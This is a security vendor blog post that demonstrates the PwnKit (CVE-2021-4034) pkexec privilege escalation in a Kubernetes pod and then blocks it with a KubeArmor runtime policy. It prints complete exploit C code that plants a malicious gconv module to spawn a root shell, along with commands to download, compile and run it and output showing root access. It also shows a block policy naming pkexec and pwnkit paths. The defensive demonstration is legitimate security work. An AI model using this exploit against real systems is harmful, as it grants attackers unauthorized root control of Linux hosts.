Protecting against CVE-2021-4034 Polkit Vulnerability

by AccuKnox Team | December 01, 2023

Introduction In today’s interconnected world where we are trying to do our tasks by emerging technologies like Kubernetes and containers, vulnerabilities can pose significant risks to the integrity and security of software systems. One such vulnerability that gained attention in 2021 is CVE-2021-4034, also known as the Polkit Vulnerability. What is Polkit aka CVE-2021-4034? CVE-2021-4034 […]

Reading Time: 6 minutes

We are going to showcase the Polkit vulnerability using an Ubuntu Docker image deployed to a Kubernetes cluster.

The test user will only have limited permissions and will be unable to access or alter programs and configuration files that root users can because root users have full access to all files and programs.

This means that any user with access to your system, even if they’re logged in as a non-root user, may theoretically use pkexec to promote themselves to user ID 0: the root, or superuser, account.

KubeArmor is open-source software that enables you to protect your cloud workload at runtime. It was used to secure the incident. We have solutions for every threat in your cloud environment and virtual machine.

Introduction

In today’s interconnected world where we are trying to do our tasks by emerging technologies like Kubernetes and containers, vulnerabilities can pose significant risks to the integrity and security of software systems. One such vulnerability that gained attention in 2021 is CVE-2021-4034, also known as the Polkit Vulnerability.

What is Polkit aka CVE-2021-4034?

CVE-2021-4034 refers to a security vulnerability discovered in the Polkit (PolicyKit) authentication system, which is commonly used in Linux distributions. Polkit is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed.

Understanding Memory Corruption Vulnerability

In case you are wondering what memory corruption is when a program’s memory is modified by an attacker in a way that was not intended by the original program. This modification can lead to serious security vulnerabilities, including allowing an attacker to leak sensitive information or execute arbitrary code. polkit’s pkexec, a SUID-root program that allows any unprivileged user to gain full root privileges on a vulnerable host by exploiting this vulnerability in its default configuration.

Vulnerability Analysis

The vulnerability is based on shell access in different distros. By just executing an exploit code, we can get shell access in a matter of seconds. Once the attacker gets the shell access then the attacker can able to explore the entire system. Exploiting this vulnerability does require local user access (Example: ubuntu user which doesn’t have root privilage). But the ease with which even an inexperienced attacker can exploit it is cause for the heightened security level. Users can also manually install the packages in the terminal by using the command as follows:

apt-get install policykit-1

Here an attacker would need to be logged into the affected system or be able to execute commands on the affected system remotely. The affected binary is pkexec (usually in location /usr/bin/pkexec) which is setuid meaning that when someone runs pkexec, linux will execute the pkexec binary as the user that owns the file. In this case, if the pkexec on root user binary.

Impact of CVE-2021-4034

Exploiting this vulnerability allows an attacker to bypass authentication checks and execute arbitrary code with elevated privileges. In other words, an unauthorized user could gain root access to a Linux system and perform malicious activities. This could include modifying system configurations, installing malware, or accessing sensitive data.

Let us see how this vulnerability can be protected using AccuKnox Opensource tools.

Sandbox Environment Setup for CVE-2021-4034

We are going to showcase polkit vulnerability using an ubuntu docker image deployed to a Kubernetes cluster. To deploy the ubuntu pod in your k8s Cluster, you can use the below YAML or use the deployment file from AccuKnox Samples GitHub Repository.

YAML file for polkit deployment:

apiVersion: apps/v1
kind: Deployment
metadata:
creationTimestamp: null
labels:
app: ubuntu
name: ubuntu
spec:
replicas: 1
selector:
matchLabels:
app: ubuntu
strategy: {}
template:
metadata:
creationTimestamp: null
labels:
app: ubuntu
spec:
containers:
– image: knoxuser/ubuntu-xenial
name: ubuntu
command: [“/bin/sleep”, “3650d”]
resources: {}

You can use below command to deploy polkit in your K8s:

AccuKnox:~# kubectl create -f https://raw.githubusercontent.com/accuknox/samples/main/polkit-vulnerability/ubuntu-pod.yaml
Output from kubectl create -f https://raw.githubusercontent.com/accuknox/samples/main/polkit-vulnerability/ubuntu-pod.yamldeployment.apps/ubuntu created
To check the pods use below command
kubectl get pods
Output from kubectl get pods
NAMESPACE READY STATUS RESTARTS NAME AGE
ccuknox-agents a ubuntu-7b6ddbd7d7-swk7j 1/1 Running 0 3m58s

To verify the polkit version we’ll execute inside the pod using the following commands:

kubectl exec -it ubuntu-xxxxxxxxx-xxxxx — bash

Note: Pod name will vary a/c to your enviornment, and will be in format ubuntu-xxxxxxxxx-xxxxx
Save the exploit code as a *.c file, in this scenario we’ll use the name cve-2021-4034. Let’s look at output of the id command before we perform the exploit.

test@ubuntu:~# id

Output from id command
uid=1000(test) gid=1000(test) groups=1000(test)
As you can see, test is a non-root user who does not have root rights. As a result, the test user will only have limited permissions and will be unable to access or alter programs and configuration files that root users can because root users have full access to all files and programmes. The fact that uid and gid both have 1000 indicates that they are new user accounts.

Exploit Code for CVE-2021-4034

#include
#include
#includechar *shell =
“#include \n”
“#include \n”
“#include \n\n”
“void gconv() {}\n”
“void gconv_init() {\n”
” setuid(0); setgid(0);\n”
” seteuid(0); setegid(0);\n”
” system(\”export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf ‘GCONV_PATH=.’ ‘pwnkit’; /bin/sh\”);\n”
” exit(0);\n”
“}”;

int main(int argc, char *argv[])
{
FILE *fp;
system(“mkdir -p ‘GCONV_PATH=.’; touch ‘GCONV_PATH=./pwnkit’; chmod a+x ‘GCONV_PATH=./pwnkit'”);
system(“mkdir -p pwnkit; echo ‘module UTF-8// PWNKIT// pwnkit 2’ > pwnkit/gconv-modules”);
fp = fopen(“pwnkit/pwnkit.c”, “w”);
fprintf(fp, “%s”, shell);
fclose(fp);
system(“gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC”);
char *env[] = {“pwnkit”, “PATH=GCONV_PATH=.”, “CHARSET=PWNKIT”, “SHELL=pwnkit”, NULL};
execve(“/usr/bin/pkexec”, (char *[]){NULL}, env);
}

This exploit code invokes pkexec. Here if you run pkexec, it runs as root instead of your own account, and any subprogram you can force it to run will inherit superuser capabilities. This means that any user with access to your system, even if they’re logged in as a non root user, may theoretically use pkexec to promote themselves to user ID 0: the root, or superuser, account.

Exploit in Action:

Now compile & run the exploit code using gcc. Also you can directly download the exploit from AccuKnox Samples GitHub Repository.

test@ubuntu:~# curl -sfL https://raw.githubusercontent.com/accuknox/samples/main/polkit-vulnerability/cve-2021-4034.c -o cve-2021-4034.c
test@ubuntu:~# gcc cve-2021-4034.c -o cve-2021-4034
test@ubuntu:~# ./cve-2021-4034

After entering above exploit we should have gained root access. You can confirm this by running id command again, and you’ll see difference in output this time

Output from id & whoami command
uid=0(root) gid=0(root) groups=0(root),1000(test)
root

KubeArmor Security Policy

KubeArmor will secure the cloud workloads and kubernetes. Accuknox enforces application policies and hardening using KubeArmor, our open-source runtime security enforcement system that restricts the behavior (such as process execution, file access, and networking operations) of pods, containers, and nodes (VMs) at the system level.

KubeArmor Security Policy restrict the behavior (such as process execution, file access, and networking operation) of containers and nodes at the system level. Below is one such policy which can protect our system from polkit vulnerability.

# KubeArmor is an open source software that enables you to protect your cloud workload at run-time.
# To learn more about KubeArmor visit:
# https://www.accuknox.com/kubearmor
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: ksp-cve-2021-4034-polkit-privilege-escalation
namespace: default #change the namespace to match your requirement
spec:
tags: [“CVE-2021-4034”, “Shell-acess”, “Polkit”, “MITRE”, “TA0004”, “T1068”,
“TA0111”, “Privilege Escalation”]message: “Alert! pkexec binary is blocked”
selector:
matchLabels:
app: ubuntu #change label app: ubuntu to match your requirement
process:
severity: 2
matchPaths:
– path: /usr/bin/pkexec
– path: /pwnkit/pwnkit.c
– path: /pwnkit/pwnkit.so
file:
matchPaths:
– path: /pwnkit/gconv-modules
action: Block

To install KubeArmor follow this commands

curl -sfL http://get.kubearmor.io/ | sudo sh -s — -b /usr/local/bin
karmor install

Once the KubeArmor installation is done, execute the below command in your terminal to apply above policy

AccuKnox:~# kubectl create -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-cve-2021-4034-polkit-vulnerability.yaml

After applying the policy, execute into the ubuntu pod to regain the root access by running the same script file.
test@ubuntu:~# ./cve-2021-4034

Now this time after we’ve applied our policy, exploit will not work and hence user permission is not elevated to root.

Output from ./cve-2021-4034

Sh:1: cannot create pwnkit/gconv-modules: Permission denied

To check realtime logs we’ll be using KubeArmor relay to forward logs to our local system.

kubectl -n kube-system port-forward service/kubearmor –address 0.0.0.0 –address :: 32767:32767
Realtime Logs Streaming via karmor binary:karmor logs –json
You should see output similar to this
{
“Timestamp”: 1686161173,
“UpdatedTime”: “2023-06-07T18:06:13.622484Z”,
“ClusterName”: “rk-dev-saas”,
“HostName”: “ip-10-4-3-81”,
“NamespaceName”: “default”,
“PodName”: “ubuntu-f8848f567-5cxtf”,
“ContainerID”: “2be5762157f1f95e607c9d72d987a0d1653afe7a12716853bb34efb9c9246461”,
“ContainerName”: “ubuntu”,
“HostPID”: 4552,
“PID”: 3557,
“PPID”: 104,
“PolicyName”: “ksp-cve-2021-4034-polkit-privilege-escalation”,
“Severity”: “2”,
“Tags”: “CVE-2021-4034,Shell-acess,Polkit,MITRE,TA0004,T1068,TA0111,Privilege Escalation”,
“Message”: “Alert! pkexec binary is blocked”,
“Type”: “MatchedPolicy”,
“Source”: “/bin/bash”,
“Operation”: “Process”,
“Resource”: “/usr/bin/pkexec”,
“Data”: “syscall=SYS_EXECVE”,
“Action”: “Block”,
“Result”: “Permission denied”,
“ContainerImage”: “ubuntu:xenial@sha256:6df31f643410e84527ac0ba85f686e1098c76325191f87162f9135d7af749f03”
}

According to the logs, KubeArmor was able to successfully block the vulnerable binary from being executed and generate
real-time alerts.

Generating a Zero-trust policies with KubeArmor discovery engine:

We can generate zero-trust policies based on your workloads by installing discovery engine

AccuKnox:~# kubectl create -f https://raw.githubusercontent.com/kubearmor/discovery-engine/dev/deployments/k8s
/deployment.yaml

To retrieve the auto discovered policies you can use:

karmor discover -n wordpress-mysql -l “app=wordpress” -f yaml

This discovers the policies for a workload in wordpress-mysql namespace having label app=wordpress.

Output from karmor discover -n wordpress-mysql -l “app=wordpress” -f yaml

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: autopol-system-3960684242
namespace: wordpress-mysql
spec:
action: Allow
file:
matchPaths:
– fromSource:
– path: /usr/sbin/apache2
path: /dev/urandom
– fromSource:
– path: /usr/local/bin/php
path: /etc/hosts
network:
matchProtocols:
– fromSource:
– path: /usr/local/bin/php
protocol: tcp
– fromSource:
– path: /usr/local/bin/php
protocol: udp
process:
matchPaths:
– path: /usr/sbin/apache2
– path: /usr/local/bin/php
selector:
matchLabels:
app: wordpress
severity: 1

Conclusion

We have demonstrated how simple it is to run a script file and get root access in order to gather information from the victim machine. Information from several organizations can be exploited and used against them. An organization will suffer a loss as a result of this.

KubeArmor, a cloud run-time security technology developed by AccuKnox, used to secure the incident. We have solutions for every threat in your cloud environment and virtual machine. Check out the links below to learn more about AccuKnox and its products.

KubeArmor website: https://kubearmor.io/

KubeArmor GitHub: https://github.com/kubearmor/KubeArmor

KubeArmor Slack: Join Us

Accuknox Office Hours: Defending against CVE-2021-4034 Polkit with AccuKnox

Policy and Deployment files used in this blog: AccuKnox Samples GitHub Repository

Protect your cloud workloads today using AccuKnox, leveraging Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you are seeking additional guidance in planning your cloud security program.

You cannot secure what you cannot see.

Your most sensitive information is stored on endpoints and in the cloud. Protect what is most important from cyberattacks. Real-time autonomous protection for your network's edges.

Ready to get started?

BOOK A DEMO